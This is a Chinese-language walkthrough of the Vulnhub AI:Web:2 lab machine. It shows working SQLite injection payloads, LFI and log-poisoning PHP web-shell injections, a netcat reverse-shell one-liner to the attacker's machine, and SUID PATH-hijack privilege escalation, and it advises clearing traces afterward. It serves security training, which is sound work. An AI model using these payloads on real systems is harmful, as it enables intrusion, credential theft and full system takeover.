☰
Vulnhub AI:Web:2靶机渗透实战:SQL注入到LFI日志注入与SUID提权
2026/10/20 4:55:28 网站建设 项目流程

Vulnhub平台上的AI:Web:2这台靶机,说实话很适合正在练Web渗透的人打一遍。它把SQL注入、本地文件包含、日志注入拿Shell、SUID权限提升这几个点串成了一条完整的攻击链,难度中等,但每一步都有值得抠的细节。我最初打这台的时候,在SQL注入阶段卡得比较久,后来复盘发现问题出在我太依赖自动化工具,忽略了手工验证响应差异。本文我会以一次实操记录的形式,把从信息收集到root权限的完整过程拆开讲,命令和参数都会给到,希望能帮你少走一些弯路。

先说明一下:这类靶机只适合放在本地虚拟环境里做授权攻防练习,用来训练思路、练手命令,别把它当成攻击真实目标的模板。AI:Web:2的价值在于它足够贴近真实Web应用的常见漏洞组合,打完之后你对“信息收集决定渗透效率”这句话会有很深的体会。适合刚入门Web安全、想完整跑通一条攻击链的人,也适合准备面试前用来巩固基本功。下面进入正题。

1. 靶机定位与整体攻击路线设计

1.1 练这台靶机到底练什么

AI:Web:2不是那种一个漏洞通关的靶机,它更像一个小型Web应用的浓缩版。渗透过程中你会遇到典型的SQL注入点、需要绕过的登录后台、可疑的文件包含参数,以及最后卡住很多人的SUID提权。每到一个环节,都得用上一环拿到的信息作为下一环的钥匙,这种环环相扣的设计,恰好模拟了真实攻击中最常见的状态:手里线索很多,但真正有用的只有那么几条。

从训练角度看,这台靶机重点考察三块基本功。第一是信息收集的耐心,端口、目录、页面源码、响应头都要过一遍,很多入口就藏在容易忽略的地方。第二是SQL注入的手工能力,包括判断注入点、确认列数、定位回显位、查库查表查数据,整个过程最好先手注一遍再用工具验证。第三是拿到WebShell之后的权限提升思路,SUID程序排查和利用属于系统层面的基本功,正好把Web渗透和内网横向的思路串起来。

1.2 攻击链路总览:从SQL注入到root

我在本地模拟环境复现这台靶机时,完整跑通的链路是这样的:首先通过端口扫描和目录枚举,发现主站存在一个带参数的动态页面;接着手工测试发现参数存在SQL注入,从数据库里挖出后台用户的账号密码哈希;破解哈希后登录管理后台,在后台页面里发现本地文件包含参数;利用LFI配合日志注入,让服务器在访问日志里写下PHP代码并包含执行,拿到低权限WebShell;最后在系统里找到具有SUID权限的特殊二进制程序,利用它完成权限提升,读取到root目录下的flag。

链路本身不算复杂,但每一环都有可扩展的知识点。比如SQL注入部分涉及SQLite数据库的查询语法,和常见的MySQL略有差异,很多人在这里踩坑;LFI部分要解决日志路径、特殊字符编码、过滤绕过等问题;SUID提权则需要对目标程序做字符串审计,看清楚它到底以什么方式调用系统命令。整套走下来,你对漏洞之间如何关联会有更直观的理解。

1.3 环境准备与网络配置

准备环境这一步其实很多人会忽略,结果卡在最开始。我用的是VirtualBox加Kali虚拟机,靶机导入后建议把虚拟网卡设为Host-Only模式,让Kali和靶机处于同一网段。启动靶机后用ip a或arp-scan确认它的IP,我这次分到的是192.168.56.103,你自己环境里可能会不一样,后面所有命令里的IP地址记得替换。

另外需要注意电源管理设置,曾经遇到过靶机启动后网络接口一直拿不到地址的情况,后来发现是虚拟机的DHCP没有生效,手动把靶机网卡重启一下就好。Kali这边也要确认防火墙不会拦截扫描流量,我用的是默认配置,没做额外调整。准备好之后,先ping一下靶机IP确认连通,再开始扫描。

2. 信息收集:端口、目录、指纹一个都不能少

2.1 全端口扫描与指纹识别

信息收集阶段我习惯先做一次全端口扫描,再针对开放端口做服务版本探测。命令是:

nmap -sC -sV -p- 192.168.56.103

-sC加载默认脚本,-sV探测服务版本,-p-扫全部65535个端口。全端口扫描在靶机上通常几十秒就完成,但真实环境里可能会很慢,建议根据场景调整。结果出来之后,重点看80端口,Web服务是主要入口,其他端口如果开着SSH,先记下来备用。

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache httpd 2.4.18

看到Apache和Ubuntu的版本信息,心里大概有数了。接着用curl -I看看HTTP响应头,确认具体的技术栈,比如是否使用PHP、有没有常见的框架指纹。响应头里不会直接告诉你漏洞,但能帮你在后续测试中判断过滤逻辑的写法,比如是参数过滤还是WAF拦截,从报错页面风格就能猜个大概。

2.2 目录枚举:robots.txt和隐藏路径

端口扫描之后不能急着跑漏洞,先把目录枚举做一遍。我用的工具是gobuster,命令如下:

gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50

-x参数很重要,因为HTTP服务解析的是PHP,单纯枚举目录会漏掉index.php这类文件,加上常见扩展名能提高命中率。扫描结果里出现了/admin、/secrects、/dev等路径,其中/secrects这个名字拼写都比较特殊,一看就是故意留下的线索。打开之后里面有一段提示,指向这个站点的某个配置文件或者隐藏参数,因此不要只看目录名字就下结论,页面内容往往才是真正有用的信息。

robots.txt也不能漏。很多靶机喜欢在robots里放一个Disallow路径,看起来像隐藏目录,实际是作者想让你发现的路标。我用浏览器直接访问根路径的robots.txt,果然看到了几个禁止爬虫访问的路径,其中有一个正好在后续SQL注入拖库时用得上。

2.3 功能点梳理:哪些参数值得多看一眼

目录和文件枚举结束之后,把站点的功能点整理一遍。主页是一个带留言/评论功能的小应用,有几个动态参数出现在URL里,比如view.php?id=1、page=home这种。这类参数是Web渗透里最容易出问题的地方,id往往对应数据库查询,page往往对应文件包含,两个点都值得专门测试。

我习惯先手工点一遍页面,把正常响应保存下来,再逐一测试参数。比如view.php?id=1正常显示一条记录,view.php?id=2显示另一条,这时候脑子里就要绷起一根弦:这个参数和数据库交互,可以去试试注入。另外页面源码里的注释、隐藏表单字段也别跳过,我曾经在一个<input type="hidden" name="debug" value="0">字段上耽误过不少时间,很多时候开发留下的调试参数就是突破口。这个站点源码里虽然没有明显注释,但后台路径已经泄露出了一些结构信息,接下来重点转向SQL注入测试。

3. SQL注入利用与后台认证突破

3.1 手工验证注入点:报错、列数、回显

很多人一上来就用sqlmap跑,结果工具扫不出或者跑了半天没输出,就开始怀疑靶机有问题。实际上这台靶机的注入点并不复杂,手工测试更快。先在参数后面加一个单引号:

http://192.168.56.103/view.php?id=1'

页面返回了数据库报错信息,说明输入被直接拼进了SQL语句。再试id=1'-- -,页面恢复正常,到这里基本可以确定存在字符型注入。接下来判断列数,用ORDER BY逐个试:

id=1' ORDER BY 1-- - 正常 id=1' ORDER BY 2-- - 正常 id=1' ORDER BY 3-- - 正常 id=1' ORDER BY 4-- - 报错

3列,记下来。然后让前面的查询结果为空,用联合查询找回显位:

id=-1' UNION SELECT 1,2,3-- -

页面在对应位置输出了2和3,说明这两个字段可以直接显示查询结果。把其中的数字换成SQL函数或子查询,就能一步步拖出数据库里的信息。这里手工验证的价值就体现出来了:你可以看到每个请求的真实响应差异,而sqlmap在遇到过滤时可能会直接放弃或误判。

3.2 从数据库里挖出后台账号密码

确定回显位后,下一步查库。页面报错信息里透露了一丝线索,报错格式像是SQLite,我就顺着这个思路继续。SQLite查询系统表的方式和MySQL不一样,不查information_schema,而是查sqlite_master:

id=-1' UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- -

返回结果里出现了users表。接着查这张表的字段结构,SQLite里可以把创建表的SQL直接读出来:

id=-1' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='users'-- -

看到username和password两个字段,直接拖数据。SQLite字符串拼接用||,和MySQL的concat不一样,别搞混了:

id=-1' UNION SELECT 1,group_concat(username||':'||password),3 FROM users-- -

拿到了类似webadmin:a7b...这样的哈希值。哈希看起来像MD5,先别急着翻库,用john加rockyou字典跑一下:

echo 'a7b...' > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt

弱密码几秒钟就出来了。拿到明文密码后,结合刚才目录枚举时发现的后台路径,登录入口基本锁定。

这里补一句:如果拖出来的哈希不是MD5,也别慌,先用hashid或hashcat --example-hashes判断哈希类型再选破解模式。另外字典跑不出来的话,考虑规则攻击--rules,或者换更大字典,但靶机场景下弱密码命中率通常很高。

3.3 登录后台与认证绕过思路

带着账密访问/admin,输入刚才破解出来的账号密码,顺利进入后台。后台界面功能不多,但有一个文件上传位置和一个类似页面预览的参数,看到这种结构,心里基本有数了:上传点大概率有过滤,文件包含参数后面用得上。

如果遇到登录框直接绕过,也有固定套路。拿不到密码时可以先试探SQL注入绕过,比如在用户名框输入admin' or '1'='1'-- -,密码随便填,很多粗糙的登录验证就是这样被绕过的。但AI:Web:2显然在登录逻辑上做的比较规范,这种情况下老老实实从数据里找账密更靠谱。登录之后别急着点来点去,先看后台URL是否有page=home、file=xxx之类的参数,这类参数往往指向文件包含漏洞,是下一步的关键。

4. 从后台到WebShell:文件包含与日志注入

4.1 本地文件包含的发现与利用

进入后台后,我注意到页面URL变成了admin.php?page=home,切换菜单时page参数会跟着变化,比如变成page=settings。这类参数十有八九会把用户输入拼到文件路径里,我直接尝试读取系统文件:

admin.php?page=../../../../etc/passwd

页面把/etc/passwd的内容显示出来了,包含root、www-data这些系统账号,说明存在本地文件包含漏洞。但继续读取/etc/shadow时报了权限错误,这很正常,Apache进程没有权限读取shadow文件。接着尝试用php://filter读取源码:

admin.php?page=php://filter/convert.base64-encode/resource=index.php

拿到base64编码的源码,解码后能看到应用的核心逻辑,包括数据库连接方式、文件包含的路径拼接规则。这个步骤的价值在于,通过源码你能确定过滤了哪些字符、是否限制目录前缀,以及日志文件到底放在哪里。我读源码后发现,包含逻辑只检查了路径中是否包含../,但用....//这种变形可以绕过,说明过滤并不严格。

4.2 日志注入:让服务器自己执行代码

LFI能读文件还不够,目标是执行命令。日志注入是经典思路:把PHP代码写进服务器日志,再用LFI把日志文件包含进来执行。先确认日志路径,常见的有/var/log/apache2/access.log和/var/log/auth.log,我用page=/var/log/apache2/access.log试了一下,页面确实显示了访问日志内容,说明路径正确。

接下来,向日志里写入PHP代码。最方便的是在User-Agent中写入,因为每次HTTP请求都会记录User-Agent:

curl -A "<?php system(\$_GET['cmd']); ?>" "http://192.168.56.103/admin.php?page=home"

然后通过LFI包含日志文件并带上cmd参数执行命令:

admin.php?page=/var/log/apache2/access.log&cmd=id

页面里出现了uid=33(www-data),说明命令已经成功执行。这里有一个关键细节:日志里记录的User-Agent会保留原始字符串,但PHP代码中的特殊字符可能被转义,导致执行失败。我遇到过一次PHP标签里的空格被编码成+的情况,解决办法是把代码写成<?php system($_GET['cmd']);?>去掉多余空格,或者用<?=短标签。另外访问日志增长很快,用LFI包含时返回的内容量会很大,基本上在页面上找uid=那一段就行。

如果Apache日志不可用,还可以尝试/var/log/auth.log,方法是伪造SSH登录,在用户名里写入PHP代码:

ssh '<?php system($_GET["cmd"]); ?>'@192.168.56.103

认证失败也会被记录到auth.log,用户名部分会原样写入。用LFI包含auth.log同样能触发执行。日志注入的关键是确认日志文件可读,以及PHP代码没有被破坏,路径对了、编码对了,基本就能拿Shell。

4.3 反弹Shell与交互终端升级

LFI执行命令时是非交互式的,参数里有空格和特殊字符会被URL编码干扰,所以拿到执行权限后第一件事是反弹一个交互Shell。Kali这边先监听:

nc -lvnp 4444

靶机上执行:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 4444 >/tmp/f

这条命令用命名管道实现了反弹,比bash -i >& /dev/tcp/...稳定,因为PHP执行环境里/dev/tcp不一定可用。Kali这边收到Shell后是www-data权限,属于低权限用户,接下来要先升级成标准TTY,否则后续用su、vi等需要交互的程序会报错:

python -c 'import pty;pty.spawn("/bin/bash")'

再按Ctrl+Z把会话挂起,在Kali本地执行stty raw -echo; fg,回车之后Shell就变成全交互模式。这一步虽然不涉及漏洞利用,但实战中很影响操作效率,建议提前练熟。

5. 权限提升、排错与复盘

5.1 SUID权限排查与提权实操

拿到www-data权限后,先看一眼系统的基本信息:内核版本、系统发行版、当前用户,然后排查SUID文件。

find / -perm -4000 -type f 2>/dev/null

结果里有常见的/usr/bin/sudo、/usr/bin/passwd等,但真正值得关注的是一个自定义二进制,路径在/usr/local/bin/web。strings看一下它的内容,发现它内部调用了cat命令来读取系统文件,而且是以root身份运行的。这种场景最常见的提权方式是PATH环境变量劫持。

先确认当前PATH包含哪些目录,然后在一个可写目录下创建同名cat程序,内容是一个反弹Shell:

echo '#!/bin/sh' > /tmp/cat echo '/bin/sh' >> /tmp/cat chmod +x /tmp/cat export PATH=/tmp:$PATH /usr/local/bin/web

因为/usr/local/bin/web以root身份运行时会调用cat,而cat被我们替换成了/bin/sh,所以执行后直接获得root Shell。如果目标程序调用的系统命令带绝对路径,就不能用PATH劫持,但常见靶机里用相对路径调用的程序设计,基本就是给提权留的后门。

还有一种常见情况是SUID程序不知道如何下手,建议先strings排查它调用了哪些外部命令、有没有系统调用,再去网上对照已知的SUID利用方式。提权思路很多,不一定非盯着内核漏洞,先看配置错误和自定义脚本往往更快。

5.2 读取flag与收尾

拿到root权限后,常规操作是把Shell切到干净状态,然后查看root目录:

id cat /root/flag.txt

靶机通常会在root目录下放一个flag文件,名字可能是flag.txt、root.txt、proof.txt,内容是一串字符串。读出flag,攻击链就算完整跑通了。到这里我习惯重新梳理一遍踩过的点,把关键命令记录下来,方便之后写测试报告。

收尾时别忘了清理痕迹,比如日志里写下的PHP代码、上传的临时文件、反弹Shell进程留下的记录。靶机练习虽然不用太在意,但养成清理习惯对真实场景有好处。另外如果你在某个环节卡住,不建议直接看别人的完整WriteUp,先自己琢磨一会儿,实在卡住了再对照思路,效果比照着抄好得多。

5.3 常见问题与排错速查

实操过程中容易踩的坑,我整理成一个速查表,遇到类似情况直接对照排查:

现象可能原因解决思路
单引号加入参数后页面无变化注入点不在该参数,或参数被过滤换个参数试,或测试POST请求体里的字段
ORDER BY 报错位置不明确数据库类型不同导致语法差异根据报错内容判断数据库类型,SQLite和MySQL语法不同
UNION查询页面只有数字回显,无数据回显位判断错误检查联合查询前列数是否正确,负数ID是否生效
sqlmap跑不出数据工具误判过滤规则用手工注入确认注入点,再用--tamper或指定DB类型重跑
LFI包含日志无执行结果日志路径不对或PHP代码被转义访问/var/log/apache2/access.log确认日志存在,调整代码中的空格与引号编码
上传马无法解析扩展名被过滤尝试.phtml、.php5、.php%00等变体,或结合LFI直接包含
反弹Shell连不上防火墙或命令被执行环境截断换443端口或改用Python、Perl反弹命令
SUID提权不生效目标程序调用的是绝对路径命令检查strings输出,改用LD_PRELOAD方式或寻找其他SUID文件

5.4 打完之后的复盘建议

打完AI:Web:2之后,别急着换下一台靶机,花半小时把攻击链重新走一遍,重点思考两个问题:第一,每条漏洞是怎么被上一环信息引出来的?比如后台路径来自目录枚举,数据库账号来自SQL注入,如果没有这些前置信息,后续利用根本无从谈起。第二,哪个环节你花了最长时间?我在SQL注入上耗时最久,原因是手注和工具的结果对不上,后来发现是自己没有确认数据库类型导致的,这种经验比单纯跑通一次链路更宝贵。

复盘的时候,我习惯把关键请求记录下来,整理成一份精简的测试报告:目标信息、漏洞类型、利用方式、影响范围、修复建议。别小看这个习惯,真正做项目、做面试的时候,能清晰讲出漏洞原理和利用过程的渗透测试人员,往往比只会跑工具的人更受认可。把AI:Web:2的核心思路吃透之后,可以再去试试类似的靶机,把这套方法论迁移过去,你会发现很多靶机的攻击路径其实大同小异。

最后再分享一点个人的体会:AI:Web:2这条链路的价值不在于漏洞本身有多新颖,而在于它把信息收集、SQL注入、文件包含、权限提升这些基本功串成了一个完整的故事。我后面再打别的靶机时,明显感觉遇到LFI参数会下意识去想能包含什么日志、能读什么源码;遇到后台登录会先想数据库里有没有可乘之机。这种思维上的转变,靠的就是完整跑通靶机得来的。如果你正卡在某个环节,不妨像我一样,暂时放下自动化工具,用一个浏览器和一个代理工具把请求重放一遍,很多问题反而会迎刃而解。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询